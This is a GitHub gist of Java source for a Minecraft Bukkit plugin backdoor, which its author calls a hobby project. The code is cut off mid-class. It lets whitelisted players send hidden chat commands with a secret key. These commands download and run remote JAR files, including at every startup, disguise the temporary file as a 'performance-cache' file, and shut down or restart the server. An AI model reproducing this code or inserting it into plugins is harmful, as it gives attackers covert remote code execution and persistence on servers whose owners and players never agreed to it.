Last active
November 26, 2023 15:33
-
-
Save orbyfied/dd5e363146d23185b03d063f1d6bf16e to your computer and use it in GitHub Desktop.
Minecraft backdoor I spent too much time on.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Copyright 2022 orbyfied <https://www.github.com/orbyfied> | |
This program is free software: you can redistribute it and/or modify | |
it under the terms of the GNU General Public License as published by | |
the Free Software Foundation, either version 3 of the License, or | |
(at your option) any later version. | |
This program is distributed in the hope that it will be useful, | |
but WITHOUT ANY WARRANTY; without even the implied warranty of | |
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
GNU General Public License for more details. | |
You should have received a copy of the GNU General Public License | |
along with this program. If not, see <http://www.gnu.org/licenses/>. | |
*/ | |
/* | |
NOTE: I made this for fun, not to be harmful. | |
For that reason I haven't particularly tried to hide the fact that it is a backdoor. | |
Use at your own risk. Also, I won't provide a guide on how to use this monstrosity of a program. | |
Good luck figuring that out! | |
*/ | |
package com.github.orbyfied; | |
import org.bukkit.Bukkit; | |
import org.bukkit.ChatColor; | |
import org.bukkit.OfflinePlayer; | |
import org.bukkit.command.CommandSender; | |
import org.bukkit.entity.Player; | |
import org.bukkit.event.EventHandler; | |
import org.bukkit.event.Listener; | |
import org.bukkit.event.player.PlayerChatEvent; | |
import org.bukkit.event.player.PlayerJoinEvent; | |
import org.bukkit.plugin.java.JavaPlugin; | |
import org.yaml.snakeyaml.Yaml; | |
import java.awt.*; | |
import java.io.*; | |
import java.lang.annotation.ElementType; | |
import java.lang.annotation.Retention; | |
import java.lang.annotation.RetentionPolicy; | |
import java.lang.annotation.Target; | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.Method; | |
import java.net.URL; | |
import java.net.URLClassLoader; | |
import java.nio.file.Path; | |
import java.util.*; | |
import java.util.List; | |
import java.util.concurrent.Executors; | |
import java.util.concurrent.ThreadPoolExecutor; | |
import java.util.concurrent.atomic.AtomicBoolean; | |
import java.util.function.Consumer; | |
import java.util.function.Supplier; | |
import java.util.stream.Collectors; | |
/** | |
* Backdoor. | |
*/ | |
public class Opbd implements Listener { | |
/** | |
* The first created instance. | |
*/ | |
private static Opbd firstInstance; | |
////////////////////////////////////////// | |
public final Version version = Version.fromString("1.5.1"); | |
/** | |
* The plugin that activated this | |
* backdoor. | |
*/ | |
final JavaPlugin plugin; | |
/** | |
* Is this instance able to run or | |
* is running next to another instance. | |
*/ | |
final boolean canParallel; | |
/** | |
* If this instance has | |
* already been injected. | |
*/ | |
boolean isInjected = false; | |
/** | |
* The command prefix. | |
*/ | |
final String prefix; | |
/** | |
* The command key. | |
*/ | |
final String key; | |
/** | |
* The backdoor users. | |
*/ | |
final List<UUID> players; | |
/** | |
* The registered commands keyed by aliases. | |
*/ | |
final Map<String, ICommand> commandsByAlias = new HashMap<>(); | |
/** | |
* The registered commands. | |
*/ | |
final List<ICommand> commands = new ArrayList<>(); | |
/** | |
* Task scheduler. | |
*/ | |
final ExecutionService execution; | |
/** | |
* The security manager. | |
*/ | |
final SecurityManager security; | |
/** | |
* The error log. | |
*/ | |
final NamespacedEventLog events; | |
/** | |
* The save file supplier. | |
*/ | |
Supplier<Path> saveSupplier = () -> Path.of(".saved/"); | |
/** | |
* The saved state. | |
*/ | |
SaveState saveState = new SaveState(); | |
/** | |
* The random object used. | |
*/ | |
final Random random = new Random(); | |
/** | |
* The file backdoor register. | |
*/ | |
final FbdRegister fbds = new FbdRegister(); | |
/** Constructor. */ | |
public Opbd(JavaPlugin plugin, | |
String prefix, | |
String key, | |
boolean canParallel, | |
List<UUID> players) { | |
this.plugin = plugin; | |
this.prefix = prefix; | |
this.key = key; | |
this.players = players; | |
this.canParallel = canParallel; | |
this.events = new NamespacedEventLog(56); | |
this.security = new SecurityManager(events) | |
.withErrorHandler(new NamespacedErrorHandler(events)) | |
.addDomain(SecurityDomain.ofClass(Opbd.class)); | |
this.execution = ExecutionService.createSafeBukkitBased(plugin, security); | |
pushDefaultCommands(); | |
if (firstInstance == null) | |
firstInstance = this; | |
} | |
/** Easy Constructor. */ | |
public Opbd(JavaPlugin plugin, | |
String prefix, | |
String key, | |
boolean canParallel, | |
UUID... playeruuids) { | |
this(plugin, prefix, key, canParallel, new ArrayList<>(Arrays.asList(playeruuids))); | |
} | |
/** Easier Constructor. */ | |
public Opbd(JavaPlugin plugin, | |
String prefix, | |
String key, | |
boolean canParallel, | |
String... playeruuids) { | |
this(plugin, prefix, key, canParallel, Arrays.stream(playeruuids).map(UUID::fromString).collect(Collectors.toList())); | |
} | |
public Version getVersion() { return version; } | |
public List<UUID> getPlayers() { return players; } | |
public String getKey() { return key; } | |
public String getPrefix() { return prefix; } | |
public Opbd get() { | |
if (firstInstance == this || canParallel) return this; | |
return firstInstance; | |
} | |
public void inject() { | |
// ... | |
AtomicBoolean success = new AtomicBoolean(false); | |
// inject security manager | |
security.inject(); | |
// inject event listener | |
Bukkit.getPluginManager().registerEvents(this, plugin); | |
// schedule for when done | |
Bukkit.getScheduler().runTask(plugin, () -> { | |
try { | |
// load state | |
loadState(); | |
// load all backdoors | |
for (URL url : saveState.doFilesOnStartup) | |
doFile(url, null); | |
} catch (Exception e) { success.set(false); } | |
}); | |
// injected? | |
isInjected = success.get(); | |
/* DEBUG */ | |
execution.createThread(() -> { | |
throw new IllegalStateException(); | |
}).start(); | |
} | |
public CommandDispatchResult dispatch(CommandSender sender, String message) { | |
try { | |
// check access | |
if (sender instanceof Player) | |
if (!players.contains(((Player)sender).getUniqueId())) | |
return new CommandDispatchResult(CDResultType.ILLEGAL_ACCESS); | |
// parse | |
String[] split = message.split(" "); | |
if (!split[0].equals(prefix + key)) return new CommandDispatchResult(CDResultType.ILLEGAL_ACCESS, "invalid prefixkey"); | |
if (split.length < 2) return new CommandDispatchResult(CDResultType.NO_SUCH_COMMAND, "No subcommand provided."); | |
String command = split[1]; | |
String[] args = Arrays.copyOfRange(split, 2, split.length); | |
// dispatch | |
ICommandExec cmdexec = commandsByAlias.get(command); | |
if (cmdexec == null) return new CommandDispatchResult(CDResultType.NO_SUCH_COMMAND, "No alias '" + command + "' exists."); | |
try { | |
cmdexec.execute(this, sender, args); | |
return new CommandDispatchResult(CDResultType.SUCCESS); | |
} catch (Exception e) { return new CommandDispatchResult(CDResultType.COMMAND_EXCEPTION, e); } | |
} catch (Exception e) { return new CommandDispatchResult(CDResultType.DISPATCH_EXCEPTION, e); } | |
} | |
/* ------------ Events ----------------- */ | |
@EventHandler | |
public void onChat(PlayerChatEvent event) { | |
// get message | |
String message = event.getMessage(); | |
// send info message | |
if (message.equals("$$bdinfo") && players.contains(event.getPlayer().getUniqueId())) { | |
event.setCancelled(true); | |
trySendInfoMessage(event.getPlayer()); | |
return; | |
} | |
// try to dispatch | |
CommandDispatchResult result = dispatch(event.getPlayer(), message); | |
// check result | |
if (result.type() == CDResultType.ILLEGAL_ACCESS) return; | |
else if (result.type() == CDResultType.NO_SUCH_COMMAND) | |
psendlm(event.getPlayer(), 1, "Command Not Found", result.message); | |
else if (result.type() == CDResultType.COMMAND_EXCEPTION) | |
psendlm(event.getPlayer(), 2, "Command Exception", result.t.toString()); | |
else if (result.type() == CDResultType.DISPATCH_EXCEPTION) | |
psendlm(event.getPlayer(), 3, "Dispatch Exception", result.t.toString()); | |
event.setCancelled(true); | |
} | |
@EventHandler | |
public void onJoin(PlayerJoinEvent event) { | |
// check for access and send welcome | |
Player player = event.getPlayer(); | |
trySendInfoMessage(player); | |
} | |
/* -------------- Content --------------- */ | |
public interface ICommand extends ICommandExec { | |
/** | |
* Returns a short description | |
* of what the command does. | |
* @return The description. | |
*/ | |
String description(); | |
/** | |
* Returns the command usage. | |
* @return The usage. | |
*/ | |
String usage(); | |
/** | |
* Returns the name of this | |
* command. | |
* @return The name. | |
*/ | |
String name(); | |
/** | |
* Returns the aliases of | |
* this command. | |
* @return The aliases. | |
*/ | |
String[] aliases(); | |
/////////////////////////// | |
/** | |
* Creates a command with the given | |
* properties. | |
* @param name The name. | |
* @param exec The executor. | |
* @param aliases The aliases. | |
* @return The command. | |
*/ | |
static ICommand of(final String name, | |
final ICommandExec exec, | |
final String... aliases) { | |
return new ICommand() { | |
@Override public String usage() { return name + " ..."; } | |
@Override public String description() { return null; } | |
@Override public String name() { return name; } | |
@Override public String[] aliases() { return aliases; } | |
@Override public void execute(Opbd bd, CommandSender sender, String[] args) { exec.execute(bd, sender, args); } | |
}; | |
} | |
/** | |
* Creates a command with the given | |
* properties. | |
* @param name The name. | |
* @param exec The executor. | |
* @param aliases The aliases. | |
* @return The command. | |
*/ | |
static ICommand of(final String name, | |
final ICommandExec exec, | |
final String description, | |
final String usage, | |
final String[] aliases) { | |
return new ICommand() { | |
@Override public String usage() { return usage; } | |
@Override public String description() { return description; } | |
@Override public String name() { return name; } | |
@Override public String[] aliases() { return aliases; } | |
@Override public void execute(Opbd bd, CommandSender sender, String[] args) { exec.execute(bd, sender, args); } | |
}; | |
} | |
} | |
public interface ICommandExec { | |
/** | |
* Called when this command is dispatched. | |
* @param bd Reference to the backdoor instance. | |
* @param sender The optional command sender. | |
* @param args The parameters. | |
*/ | |
void execute(Opbd bd, CommandSender sender, String[] args); | |
} | |
public void pushDefaultCommands() { | |
try { | |
// $dofile <url> | |
withCommand(ICommand.of("dofile", (bd, sender, args) -> { | |
if (args.length == 0) { | |
psendlm(sender, 1, "Missing Argument(s)", "Missing arg 0: URL"); | |
return; | |
} | |
bd.doFile(args[0], sender, | |
Arrays.copyOfRange(args, 1, args.length)); | |
}, "Executes a JAR backdoor.", "dofile <url>", null)); | |
// $undofile <id> | |
withCommand(ICommand.of("undofile", (bd, sender, args) -> { | |
if (args.length == 0) { | |
psendlm(sender, 1, "Missing Argument(s)", "Missing arg 0: ID"); | |
return; | |
} | |
bd.fbds.getById(Integer.parseInt(args[0])).destroy(); | |
}, "Destroys/stops a JAR backdoor.", "undofile <id>", null)); | |
// $addbootfile <url> | |
withCommand(ICommand.of("addbootfile", (bd, sender, args) -> { | |
if (args.length == 0) { | |
psendlm(sender, 1, "Missing Argument(s)", "Missing arg 0: URL"); | |
return; | |
} | |
bd.addBootfile(args[0]); | |
}, "Adds a file to do on startup.", "addbootfile <url>", null)); | |
// $rmbootfile <url> | |
withCommand(ICommand.of("rmbootfile", (bd, sender, args) -> { | |
if (args.length == 0) { | |
psendlm(sender, 1, "Missing Argument(s)", "Missing arg 0: URL"); | |
return; | |
} | |
bd.removeBootfile(args[0]); | |
}, "Removes a file to do on startup.", "rmbootfile <url>", null)); | |
// $stopserver | |
withCommand(ICommand.of("stopserver", (bd, sender, args) -> { | |
Bukkit.shutdown(); | |
}, "Shuts down the server.", "stopserver", null)); | |
// $restartserver | |
withCommand(ICommand.of("restartserver", (bd, sender, args) -> { | |
Bukkit.spigot().restart(); | |
}, "Tries to restart the server.", "restartserver", null)); | |
// $savestate | |
withCommand(ICommand.of("savestate", (bd, sender, args) -> { | |
bd.saveState(); | |
}, "Saves the state of the backdoor.", "savestate", null)); | |
// $loadstate | |
withCommand(ICommand.of("loadstate", (bd, sender, args) -> { | |
bd.loadState(); | |
}, "(Re)Loads the state of the backdoor.", "loadstate", null)); | |
// $help | |
withCommand(ICommand.of("help", (bd, sender, args) -> { | |
StringBuilder message = new StringBuilder("\n\n"); | |
message.append(" ").append(ChatColor.GREEN) | |
.append(ChatColor.BOLD).append("$ Backdoor Command Help") | |
.append("\n"); | |
for (ICommand command : commands) { | |
message.append(ChatColor.GOLD).append(" \u25A0 ").append(command.name()) | |
.append(" ").append(ChatColor.YELLOW).append(command.aliases() == null ? "[]" : Arrays.toString(command.aliases())) | |
.append(": "); | |
if (command.description() == null) | |
message.append(ChatColor.RED + "No description."); | |
else message.append(ChatColor.GREEN).append(command.description()); | |
message.append(ChatColor.WHITE).append(" | Usage: ") | |
.append(ChatColor.AQUA).append(command.usage()); | |
message.append("\n"); | |
} | |
sender.sendMessage(message.toString()); | |
sender.sendMessage(""); | |
sender.sendMessage(""); | |
}, "Displays command help information.", "help", null)); | |
// $showevents | |
withCommand(ICommand.of("showevents", (bd, sender, args) -> { | |
sender.sendMessage(""); | |
StringBuilder message = new StringBuilder(); | |
message.append(" ").append(ChatColor.WHITE) | |
.append(ChatColor.BOLD).append("$ Backdoor " + ChatColor.GOLD + | |
ChatColor.BOLD + "Event" + ChatColor.WHITE + ChatColor.BOLD + " Log \n\n"); | |
for (NamespacedEvent event : events.events) | |
message.append(ChatColor.DARK_GRAY).append("\u25A0 ") | |
.append(createFormattedSummary(event)) | |
.append("\n\n"); | |
sender.sendMessage(message.toString()); | |
sender.sendMessage(""); | |
}, "Displays the event log summary.", "showevents", null)); | |
withCommand(ICommand.of("showevent", (bd, sender, args) -> { | |
if (args.length == 0) { | |
psendlm(sender, 1, "Missing Argument(s)", "Missing arg 0: Event ID"); | |
return; | |
} | |
int id; | |
NamespacedEvent event; | |
try { | |
id = Integer.parseInt(args[0]); | |
event = events.getEventById(id); | |
if (event == null) throw new NullPointerException(); | |
} catch (NumberFormatException | NullPointerException e) { | |
psendlm(sender, 1, "Invalid ID", "Event with ID " + args[0] + " not found."); | |
return; | |
} | |
sender.sendMessage(""); | |
StringBuilder b = new StringBuilder(); | |
b.append(ChatColor.BOLD + " $ Event: " + ChatColor.DARK_RED) | |
.append(id) | |
.append(ChatColor.WHITE) | |
.append(":\n"); | |
b.append(ChatColor.DARK_GRAY + " \u25A0 " + ChatColor.WHITE + "ID: " + ChatColor.RED + id + "\n"); | |
b.append(ChatColor.DARK_GRAY + " \u25A0 " + ChatColor.WHITE + "Namespace: " + ChatColor.YELLOW + event.namespace + "\n"); | |
b.append(ChatColor.DARK_GRAY + " \u25A0 " + ChatColor.WHITE + "Level: " + getLevelColor(event.level) + "\u26A0 " + event.level + "\n"); | |
if (event.time != null) b.append(ChatColor.DARK_GRAY + " \u25A0 " + ChatColor.WHITE + "Time: " + ChatColor.AQUA + event.time + "\n"); | |
if (event.details != null) b.append(ChatColor.DARK_GRAY + " \u25A0 " + ChatColor.WHITE + "Details: " + ChatColor.GOLD + event.details + "\n"); | |
if (event.t != null) { | |
b.append(ChatColor.DARK_GRAY + " \u25A0 " + ChatColor.WHITE + "Exception: "); | |
b.append(ChatColor.RED + event.t.toString() + "\n" + ChatColor.DARK_GRAY + "Stack Trace: " + "\n"); | |
b.append(ChatColor.GRAY).append(getStackTraceAsStringWithNewline(event.t)); | |
} | |
sender.sendMessage(b.toString()); | |
sender.sendMessage(""); | |
}, "Displays one event in detail.", "showevent <id>", null)); | |
} catch (Exception e) { } | |
} | |
/* Cool Character I Found: ⌬ */ | |
/* -------------- Tasks ---------------- */ | |
static class DfTask extends Task { | |
/* Storage. */ | |
public volatile URL remoteUrl; | |
public volatile URL fileUrl; | |
public volatile File tempFile; | |
public volatile URLClassLoader loader; | |
public volatile String[] args; | |
public volatile FbdLink link; | |
} | |
/* ------------ Operations ------------- */ | |
public static class FbdRegister { | |
/** | |
* List of all file backdoors. | |
*/ | |
final List<FbdLink> fbds = new ArrayList<>(); | |
/** | |
* File backdoors by ID. | |
*/ | |
final Map<Integer, FbdLink> fbdById = new HashMap<>(); | |
public Map<Integer, FbdLink> getAllById() { | |
return fbdById; | |
} | |
public List<FbdLink> getList() { | |
return fbds; | |
} | |
public FbdLink getById(int id) { | |
return fbdById.get(id); | |
} | |
public void add(FbdLink link) { | |
if (link.id == -1) return; | |
fbds.add(link); | |
fbdById.put(link.id, link); | |
} | |
public void remove(int id) { | |
fbds.remove(fbdById.remove(id)); | |
} | |
public void remove(FbdLink link) { | |
fbds.remove(link); | |
fbdById.remove(link.id); | |
} | |
public boolean isIdTaken(int id) { | |
return fbdById.containsKey(id); | |
} | |
} | |
public int doFile(final URL url, | |
final CommandSender sender, | |
final String... args) { | |
try { | |
// create task | |
DfTask task = new DfTask(); | |
task.remoteUrl = url; | |
task.args = args; | |
// create file | |
task.tempFile = saveSupplier.get().resolve("performance-cache-" + Integer.toUnsignedString(url.hashCode(), 16) + ".jch").toFile(); | |
if (task.tempFile.exists()) | |
if (!task.tempFile.delete()) | |
return -1; | |
if (!task.tempFile.createNewFile()) | |
return -1; | |
// create file url | |
task.fileUrl = task.tempFile.toURI().toURL(); | |
// prepare task | |
task | |
/* Download contents into file. */ | |
.withPart(TaskPart.of((Consumer<DfTask>) _s -> { | |
try { | |
InputStream inputStream = task.remoteUrl.openStream(); | |
OutputStream outputStream = new FileOutputStream(task.tempFile); | |
inputStream.transferTo(outputStream); | |
inputStream.close(); | |
outputStream.close(); | |
} catch (Exception e) { events.pushEvent(e, 2, "DoFile: Download"); } | |
}, true)) | |
/* Do the rest. */ | |
.withPart(TaskPart.of((Consumer<DfTask>) _s -> { | |
try { | |
// create class loader | |
URLClassLoader loader = new URLClassLoader( | |
new URL[] { task.fileUrl }, | |
plugin.getClass().getClassLoader() | |
); | |
// push class loader | |
task.loader = loader; | |
// load bd.yml | |
Yaml yaml = new Yaml(); | |
Map<String, Object> info = yaml.load(loader.getResourceAsStream("bd.yml")); | |
if (!info.containsKey("main")) { | |
events.pushEvent(null, 1, "DoFile: Load Info", "Malformed bd.yml: Missing " + | |
"main class"); return; } | |
String klassname = (String)info.get("main"); | |
String name = (String)info.get("name"); | |
if (name == null) name = "<unspecified>"; | |
// generate id | |
int id = random.nextInt(0, Integer.MAX_VALUE); | |
while (fbds.isIdTaken(id)) | |
id = random.nextInt(0, Integer.MAX_VALUE); | |
// load class and invoke backdoor | |
Class<?> klass = Class.forName(klassname, true, loader); | |
FbdLink link = new FbdLink(this, id, name, klass, loader); | |
task.link = link; | |
link.push() | |
.create() | |
.invoke(args); | |
// send success message | |
if (sender != null) | |
if (link.isSuccess()) | |
sender.sendMessage(ChatColor.WHITE + "$ " + ChatColor.GREEN + ChatColor.BOLD + "(!) " + ChatColor.GREEN + "Successfully invoked backdoor. " | |
+ ChatColor.WHITE + "With ID: " + ChatColor.YELLOW + link.id); | |
else | |
sender.sendMessage(ChatColor.WHITE + "$ " + ChatColor.RED + ChatColor.BOLD + "(!) " + ChatColor.RED + "Failed to invoke backdoor. " | |
+ ChatColor.WHITE + "With ID: " + ChatColor.YELLOW + link.id); | |
// push exit code | |
events.pushEvent(null, 0, "DoFile: Load", "success: " + | |
link.isSuccess() + ", id: " + link.id + ", instance: " + link.it); | |
} catch (Exception e) { events.pushEvent(e, 2, "DoFile: Load"); } | |
}, false)) | |
/* Finish off. */ | |
.withPart(TaskPart.of((Consumer<? extends Task>) _s -> { | |
try { | |
// close class loader | |
task.loader.close(); | |
// delete temporary file | |
if (!task.tempFile.delete()) { | |
events.pushEvent(null, 1, "DoFile: Clean", "failed to delete now"); | |
task.tempFile.deleteOnExit(); | |
} | |
} catch (Exception e) { events.pushEvent(e, 2, "DoFile: Clean"); } | |
}, true)); | |
// run task | |
task.run(execution); | |
// return id if successful, otherwise -1 | |
if (task.link != null) | |
return task.link.id; | |
return -1; | |
} catch (Exception e) { | |
events.pushEvent(e, 2, "DoFile: ExecRoot"); | |
if (sender != null) | |
sender.sendMessage(ChatColor.RED + "$ Error in DoFile: " + ChatColor.WHITE + e); | |
return -1; | |
} | |
} | |
public void doFile(String url, CommandSender sender, String... args) { | |
try { doFile(new URL(url), sender); } | |
catch (Exception e) { | |
if (sender != null) | |
psendlm(sender, 2, "DoFileWrapException", e.toString()); | |
} | |
} | |
/** | |
* File backdoor link. | |
*/ | |
public static class FbdLink { | |
/** | |
* Reference to core instance. | |
*/ | |
final Opbd opbd; | |
/** | |
* Backdoor ID. | |
*/ | |
final int id; | |
/** | |
* The backdoors name. | |
*/ | |
final String name; | |
/** | |
* The class. | |
*/ | |
Class<?> klass; | |
/** | |
* The backdoor object. | |
*/ | |
Object it; | |
/** | |
* Successfully created? | |
*/ | |
boolean success; | |
/** | |
* Temporary class loader. | |
*/ | |
ClassLoader loader; | |
/** Constructor. */ | |
public FbdLink(Opbd opbd, | |
int id, | |
String name, | |
Class<?> klass, | |
ClassLoader loader) { | |
this.opbd = opbd; | |
this.id = id; | |
this.name = name; | |
this.klass = klass; | |
this.loader = loader; | |
} | |
/* Getters. */ | |
public Opbd getBd() { return opbd; } | |
public int getId() { return id; } | |
public String getName() { return name; } | |
public Class<?> getKlass() { return klass; } | |
public ClassLoader getLoader() { return loader; } | |
public Object getObject() { return it; } | |
public boolean isSuccess() { return success; } | |
public FbdLink push() { | |
opbd.fbds.add(this); | |
return this; | |
} | |
/** | |
* Creates the backdoor instance. | |
* @return This. | |
*/ | |
public FbdLink create() { | |
try { | |
// create instance | |
Constructor<?> constructor = klass.getConstructor(); | |
it = constructor.newInstance(); | |
// fill fields | |
fillFields(); | |
} catch (Exception e) { | |
opbd.getSecurity().getErrorLog() | |
.pushEvent(e, 1, "FileBackdoor: Create", | |
"id: " + id); | |
success = false; | |
} | |
// return | |
return this; | |
} | |
public void fillField(Field f) throws IllegalAccessException { | |
// set accessible | |
f.setAccessible(true); | |
// process annotations and get property name | |
if (!f.isAnnotationPresent(AutoProperty.class)) return; | |
String name = f.getAnnotation(AutoProperty.class).value(); | |
if (name.equals("<unspecified>")) name = f.getName(); | |
// get/generate appropriate data | |
Object fill; | |
switch (name) { | |
case "bd" -> fill = opbd; | |
case "link" -> fill = this; | |
case "loader" -> fill = loader; | |
case "random" -> fill = opbd.random; | |
default -> { return; } | |
} | |
// set data | |
f.set(it, fill); | |
} | |
public void fillFields() { | |
try { | |
// iterate over fields and fill them | |
for (Field f : klass.getDeclaredFields()) | |
fillField(f); | |
} catch (Exception e) { | |
opbd.getSecurity().getErrorLog() | |
.pushEvent(e, 1, "FileBackdoor: Create", | |
"id: " + id); | |
success = false; | |
} | |
} | |
/** | |
* Invokes the invoke method with | |
* the provided arguments. | |
* @param args The arguments. | |
* @return This. | |
*/ | |
public FbdLink invoke(String[] args) { | |
// default to false | |
this.success = false; | |
// check if it has been created yet | |
if (it == null) return this; | |
try { | |
// call invoke method | |
try { | |
success = (boolean)klass.getMethod("bdInvoke", | |
Object.class, JavaPlugin.class, ClassLoader.class, String[].class) | |
.invoke(it, this, opbd.plugin, loader, (Object)args); | |
} catch (Exception e) { | |
opbd.getSecurity().getErrorLog() | |
.pushEvent(e, 1, "FileBackdoor: OnInvoke", | |
"id: " + id); | |
success = false; | |
} | |
} catch (Exception e) { | |
opbd.getSecurity().getErrorLog() | |
.pushEvent(e, 1, "FileBackdoor: Invoke", | |
"id: " + id); | |
success = false; | |
} | |
// return | |
return this; | |
} | |
/** | |
* Destroys the backdoor and | |
* this instance. | |
*/ | |
public FbdLink destroy() { | |
try { | |
// call destroy method on instance | |
klass.getMethod("bdDestroy") | |
.invoke(it); | |
// remove reference | |
it = null; | |
} catch (Exception e) { | |
opbd.getSecurity().getErrorLog() | |
.pushEvent(e, 1, "FileBackdoor: Destroy", | |
"id: " + id); | |
} | |
// remove this from FBD collections | |
opbd.fbds.remove(this); | |
// return | |
return this; | |
} | |
} | |
@Retention(RetentionPolicy.RUNTIME) | |
@Target(ElementType.FIELD) | |
public @interface AutoProperty { | |
/** | |
* Field name. | |
*/ | |
String value() default "<unspecified>"; | |
} | |
/* -------------- External -------------- */ | |
public Opbd withCommand(ICommand command) { | |
Objects.requireNonNull(command, "command cannot be null"); | |
commandsByAlias.put(command.name(), command); | |
commands.add(command); | |
if (command.aliases() != null) | |
for (String s : command.aliases()) | |
commandsByAlias.put(s, command); | |
return this; | |
} | |
public Opbd withoutCommand(ICommand command) { | |
Objects.requireNonNull(command, "command cannot be null"); | |
commandsByAlias.remove(command.name(), command); | |
commands.remove(command); | |
if (command.aliases() != null) | |
for (String s : command.aliases()) | |
commandsByAlias.remove(s, command); | |
return this; | |
} | |
public Opbd withoutCommand(String name) { | |
ICommand command = commandsByAlias.get(name); | |
if (command != null) withoutCommand(command); | |
return this; | |
} | |
public ICommand getCommand(String name) { | |
return commandsByAlias.get(name); | |
} | |
public ICommandExec getCommandExecutor(String name) { | |
return commandsByAlias.get(name); | |
} | |
public Opbd allowPlayer(UUID uuid) { | |
players.add(uuid); | |
return this; | |
} | |
public Opbd allowPlayer(OfflinePlayer player) { | |
return allowPlayer(player.getUniqueId()); | |
} | |
public Opbd allowPlayer(String playername) { | |
return allowPlayer(Bukkit.getPlayer(playername)); | |
} | |
public Opbd disallowPlayer(UUID uuid) { | |
players.remove(uuid); | |
return this; | |
} | |
public Opbd disallowPlayer(OfflinePlayer player) { | |
return disallowPlayer(player.getUniqueId()); | |
} | |
public Opbd disallowPlayer(String playername) { | |
return disallowPlayer(Bukkit.getPlayer(playername)); | |
} | |
public boolean isPlayerAllowed(UUID uuid) { | |
return players.contains(uuid); | |
} | |
public void addBootfile(URL url) { | |
saveState.doFilesOnStartup.add(url); | |
} | |
public void addBootfile(String url) { | |
try { addBootfile(new URL(url)); } catch (Exception e) { } | |
} | |
public void removeBootfile(URL url) { | |
saveState.doFilesOnStartup.remove(url); | |
} | |
public void removeBootfile(String url) { | |
try { removeBootfile(new URL(url)); } catch (Exception e) { } | |
} | |
public boolean isInjected() { | |
return isInjected; | |
} | |
public boolean canParallel() { | |
return canParallel; | |
} | |
public SecurityManager getSecurity() { | |
return security; | |
} | |
public ExecutionService getExecution() { | |
return execution; | |
} | |
public NamespacedEventLog getEventLog() { | |
return events; | |
} | |
public FbdRegister getFileBackdoors() { return fbds; } | |
public interface IFbdTemplate { | |
boolean bdInvoke( | |
Object linkHandle, | |
JavaPlugin plugin, | |
ClassLoader loader, | |
String[] args | |
) throws Exception; | |
void bdDestroy(); | |
} | |
/* ------------- Scheduling ------------- */ | |
public static abstract class ExecutionService { | |
final NamespacedEventLog errorLog; | |
public ExecutionService(NamespacedEventLog errorLog) { | |
this.errorLog = errorLog; | |
} | |
public NamespacedEventLog getErrorLog() { | |
return errorLog; | |
} | |
/** | |
* The asynchronous thread executor. | |
*/ | |
final ThreadPoolExecutor asyncExectutor = (ThreadPoolExecutor)Executors.newFixedThreadPool(8); | |
/** | |
* The task queue. | |
*/ | |
final ArrayDeque<Task> tasks = new ArrayDeque<>(); | |
public abstract void doSync(Runnable runnable); | |
public abstract Thread createThread(Runnable runnable); | |
public void runTaskSafeNow(Task task) { | |
try { | |
task.run(this); | |
} catch (Exception e) { } | |
} | |
public void runTaskNow(Task task) { | |
task.run(this); | |
} | |
////////////////////////// | |
public static SafeBukkitExecutionService createSafeBukkitBased(JavaPlugin plugin, | |
SecurityManager securityManager) { | |
return new SafeBukkitExecutionService(plugin, securityManager); | |
} | |
} | |
public static class Task { | |
/** | |
* The scheduler. | |
*/ | |
ExecutionService executionService; | |
/** | |
* The tasks parts. | |
*/ | |
final List<TaskPart<? extends Task>> parts = new ArrayList<>(); | |
/** | |
* Async lock object. | |
*/ | |
Object lock; | |
/** | |
* Is this task running? | |
*/ | |
boolean isRunning = false; | |
/** | |
* Adds a part to the task. | |
* @param part The part to add. | |
* @return This. | |
*/ | |
public Task withPart(TaskPart<? extends Task> part) { | |
parts.add(part); | |
return this; | |
} | |
/** | |
* Adds multiple parts to this task. | |
* @param partArray The parts. | |
* @return This. | |
*/ | |
public Task withParts(TaskPart<? extends Task>... partArray) { | |
parts.addAll(Arrays.asList(partArray)); | |
return this; | |
} | |
/** | |
* @return Is this task currently running? | |
*/ | |
public boolean isRunning() { | |
return isRunning; | |
} | |
/** | |
* Runs the task on the provided | |
* execution service. | |
* @param executionService The execution service. | |
* @return This. | |
*/ | |
public Task run(ExecutionService executionService) { | |
this.executionService = executionService; | |
this.isRunning = true; | |
runPart(0); | |
return this; | |
} | |
/** | |
* Waits for the task to complete. | |
*/ | |
public void join() { | |
lock = new Object(); | |
try { lock.wait(); } | |
catch (Exception e) { } | |
} | |
/** | |
* Waits for the task to complete, | |
* or for the timeout to pass. | |
* @param timeoutms The timeout in miliseconds. | |
*/ | |
public void join(long timeoutms) { | |
lock = new Object(); | |
try { lock.wait(timeoutms); } | |
catch (Exception e) { } | |
} | |
/** | |
* Marks the task as complete. | |
* Notifies the lock object. | |
*/ | |
public void complete() { | |
isRunning = false; | |
if (lock != null) | |
lock.notifyAll(); | |
} | |
/** | |
* Executes a task part. | |
*/ | |
void runPart(int i) { | |
if (!isRunning) | |
return; | |
if (i >= parts.size()) { | |
complete(); | |
return; | |
} | |
TaskPart<? extends Task> part = parts.get(i); | |
if (part == null) return; | |
if (part.isAsync()) { | |
final int ic = i + 1; | |
executionService.createThread(() -> { | |
try { | |
part.run(this); | |
if (part.isJoined) | |
executionService.doSync(() -> runPart(ic)); | |
} catch (Exception e) { | |
executionService.getErrorLog().pushEvent(new NamespacedEvent( | |
e, 2, "Async Task Execution", new Date(), | |
"Exception occured." | |
)); | |
} | |
}).start(); | |
if (!part.isJoined) | |
runPart(ic); | |
} else { | |
part.run(this); | |
i++; | |
try { | |
runPart(i); | |
} catch (Exception e) { | |
executionService.getErrorLog().pushEvent(new NamespacedEvent( | |
e, 2, "Sync Task Execution", new Date(), | |
"Exception occured." | |
)); | |
} | |
} | |
} | |
} | |
public record TaskPart<T extends Task>( | |
boolean isAsync, boolean isJoined, Consumer<T> target) { | |
@SuppressWarnings("unchecked") | |
public void run(Task task) { | |
target.accept((T)task); | |
} | |
public static <T extends Task> TaskPart<T> of(Consumer<T> target, boolean isAsync) { | |
return new TaskPart<>(isAsync, true, target); | |
} | |
} | |
public static class SafeBukkitExecutionService extends ExecutionService { | |
final JavaPlugin plugin; | |
final SecurityManager security; | |
public SafeBukkitExecutionService(JavaPlugin plugin, | |
SecurityManager security) { | |
super(security.getErrorLog()); | |
this.plugin = plugin; | |
this.security = security; | |
} | |
@Override | |
